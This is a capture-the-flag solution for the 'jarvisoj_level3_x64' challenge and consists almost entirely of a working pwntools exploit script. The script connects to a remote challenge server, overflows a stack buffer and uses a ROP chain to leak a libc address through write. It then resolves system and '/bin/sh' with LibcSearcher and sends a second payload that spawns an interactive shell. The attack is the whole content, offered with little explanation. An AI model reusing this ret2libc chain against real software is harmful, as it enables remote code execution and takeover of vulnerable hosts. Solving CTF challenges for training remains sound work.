pwn | jarvisoj_level3_x64

x64 ret2libc

exp:

from pwn import *
from LibcSearcher import *

context.log_level = 'debug'

p_vuln = 0x00000000004005E6
p_main = 0x000000000040061A
p_str = 0x00000000004006DC
# p = process('./level3_x64')
p = remote('node4.buuoj.cn', 27746)
elf = ELF('./level3_x64')


p_pop_rdi_ret = 0x00000000004006b3
p_pop_rsi_r15_ret = 0x00000000004006b1
p_ret=  0x0000000000400499

p_plt_write = elf.plt['write']
p_got_read = elf.got['read']

p.recvuntil('Input:\n')
input()

p.sendline(b'M'*(0x80+8) + p64(p_pop_rdi_ret) +p64(1) + p64(p_pop_rsi_r15_ret)+ 
        p64(p_got_read) + p64(0) + p64(p_plt_write) + p64(p_main)
        )

p_libc_read = u64(p.recv(8))
print(f'> p_libc_read: {hex(p_libc_read)}')

libc = LibcSearcher('read', p_libc_read)
libc_base = p_libc_read - libc.dump('read')
print(f'> libc_base: {hex(libc_base)}')
p_system = libc_base + libc.dump('system')
p_binsh = libc_base + libc.dump('str_bin_sh')

p.recvuntil('Input:\n')
# p.sendline(b'M'*(0x80+8) + p64(p_main))
p.sendline(b'M'*(0x80+8) + p64(p_ret) +  p64(p_pop_rdi_ret) + p64(p_binsh) + p64(p_system))

p.interactive()